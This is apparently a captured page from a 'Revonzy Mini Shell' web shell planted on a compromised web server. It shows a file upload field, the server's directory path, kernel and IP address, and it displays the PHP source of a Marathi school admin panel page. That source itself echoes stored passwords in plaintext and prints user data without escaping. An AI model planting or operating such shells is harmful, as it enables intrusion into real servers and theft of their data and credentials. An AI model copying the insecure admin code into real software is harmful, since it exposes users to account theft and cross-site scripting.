Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/edit-member.php

<?php
	require_once("../lib/class/functions.php");
	
	$db = new functions();
	
	$current_page = "";
	
	if(!isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/index.php");
	}
	
	$current_edt_member_id	=	"";
	if(isset($_GET['edt_center_id']))
	{
		$current_edt_member_id	=	$_GET['edt_center_id'];
		$_SESSION['edt_center_id']	=	$current_edt_member_id;
	}
	else if(isset($_SESSION['edt_center_id']))
	{
		$current_edt_member_id	=	$_SESSION['edt_center_id'];
	}
	
	$address_error		=	"";
	$contact_number_error=	"";
	$email_id_error		=	"";
	$flag				=	0;
	$success_msg 		= 	0;
	$contact_person_name_error	=	"";
	$school_name_error	=	"";
	$userid_error		=	"";
	
	$address		=	"";
	$contact_number	=	"";
	$email_id		=	"";
	$contact_person_name	=	"";
	$userid			=	"";
	$password		=	"";
	$added_by		=	"";
	$center_name	=	"";
	$contact_number2=	"";
	$school_name	=	"";
	if(isset($_POST['add_centre_btn']))
	{
		$school_name			=	$_POST['school_name'];
		$contact_person_name	=	$_POST['contact_person_name'];
		$address				=	$_POST['address'];
		$contact_no				=	$_POST['contact_no'];
		$contact_number2		=	$_POST['contact_no2'];
		$email_id				=	$_POST['email_id'];
		$userid					=	$_POST['userid'];
		$password				=	$_POST['password'];
		
		if($address=="")
		{
			$address_error = "कृपया केंद्राचा पत्ता लिहा.";
			$flag	=	1;
		}
		if($contact_person_name=="")
		{
			$contact_person_name_error = "कृपया संपर्क व्यक्तीचे नाव लिहा";
			$flag	=	1;
		}
		if($contact_no=="")
		{
			$contact_number_error	=	"कृपया  मोबार्इल क्रमांक लिहा ";
			$flag		=	1;
		}
		else if(!is_numeric($contact_no))
		{
			$contact_number_error	=	"कृपया बरोबर मोबार्इल क्रमांक लिहा";
			$flag		=	1;
		}
		else if(strlen($contact_no)>10 OR strlen($contact_no)<10)
		{
			$contact_number_error	=	"कृपया बरोबर मोबार्इल क्रमांक लिहा";
			$flag		=	1;
		}
		if($school_name=="शाळा निवडा")
		{
			$school_name_error	=	"शाळेचे नाव निवडा";
			$flag		=	1;
		}
		if($center_name=="केंद्र निवडा")
		{
			$center_name_error	=	"केंद्राचे नाव निवडा";
			$flag		=	1;
		}
		if($userid=="")
		{
			$userid_error	=	"कृपया युजर आयडी लिहा";
			$flag		=	1;
		}

		if($flag=="0")
		{
			$db->update_member_details($contact_person_name,$address,$contact_no,$email_id,$userid,$password,$contact_number2,$current_edt_member_id);
			
			$success_msg = 1;
		}
	}
	
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	
	<link rel="stylesheet" type="text/css" href="/css/stylesheet.css" />
	<script type="text/javascript" src="/js/jquery-1.9.1.min.js"></script>
	
</head>
<body>
<?php
	require_once('header.php');
?>
	
	<div style="min-height:570px;">
		<div class="admin-mid-section">
			<a href="add-member.php" class="center_list_back_link"><< शाळा प्रतिनिधींची माहिती लिस्ट</a>
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<div class="add_centre_container">
			<br />
			<center><strong>शाळा प्रतिनिधींची माहिती अपडेट करा</strong></center>
			
			<?php
				if($success_msg=="1")
				{
			?>
				<div class="add_centre_success">
					प्रतिनिधींची नोंद अपडेट झाली आहे 
				</div>
			<?php
				}
			?>
			<?php 
				if($current_edt_member_id=="")
				{
					header("Location:add-member.php");
					
				}
				
				$center_data	=	array();
				
				$center_data	=	$db->get_member_data_from_id($current_edt_member_id);
				
				if(!empty($center_data))
				{
					$res_member_name	=	$center_data[0];
					$res_address		=	$center_data[1];
					$res_cont_no		=	$center_data[2];
					$res_email_id		=	$center_data[3];
					$res_user_id		=	$center_data[4];
					$res_password		=	$center_data[5];
					$res_contact_2		=	$center_data[6];
					
				}
			?>
			<input type="text" name="contact_person_name" id="contact_person_name" class="txtflds" placeholder="प्रतिनिधीचे  नाव" value="<?php echo $res_member_name; ?>" required />
			<span class="error_indicator"><?php echo $contact_person_name_error; ?></span>
			
			<textarea type="text" id="address" name="address" class="txtflds" style="height:80px;" placeholder="पत्ता" required><?php echo $res_address; ?></textarea>
			<span class="error_indicator"><?php echo $address_error; ?></span>
			
			<input type="text" name="contact_no" id="contact_no" class="txtflds" placeholder="संपर्क नंबर " value="<?php echo $res_cont_no; ?>" required />
			<span class="error_indicator"><?php echo $contact_number_error; ?></span>
			
			<input type="text" name="contact_no2" id="contact_no2" class="txtflds" placeholder="संपर्क नंबर2" value="<?php echo $res_contact_2; ?>" required />
			<span class="error_indicator"><?php echo $contact_number_error; ?></span>
			
			<input type="email" name="email_id" id="email_id" class="txtflds" placeholder="इमेल आय-डी (optional)" value="<?php echo $res_email_id; ?>" />
			<span class="error_indicator"><?php echo $email_id_error; ?></span>
			
			<input type="text" name="userid" id="userid" class="txtflds" placeholder="युजर आयडी" value="<?php echo $res_user_id; ?>" required />
			<span class="error_indicator"><?php echo $userid_error; ?></span>
			
			<?php
				function generateRandomString($length = 10)
				{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) {
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					
					return $randomString;
				}
				
				$current_random_string =  generateRandomString();
			?>
			
			<input type="text" name="password" id="password" class="txtflds" placeholder="पासवर्ड" value="<?php echo $res_password; ?>" required readonly />
			
			<br />
			<br />
			
			<center><input type="submit" name="add_centre_btn" value="प्रतिनिधींची नोंद अपडेट करा" id="send_form" class="reg_btn_form" style="width:200px;" /></center>
			</div>
			</form>
			
			<br />
			
			
		</div>
	</div>
	
	<?php
		require_once('footer.php');
	?>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4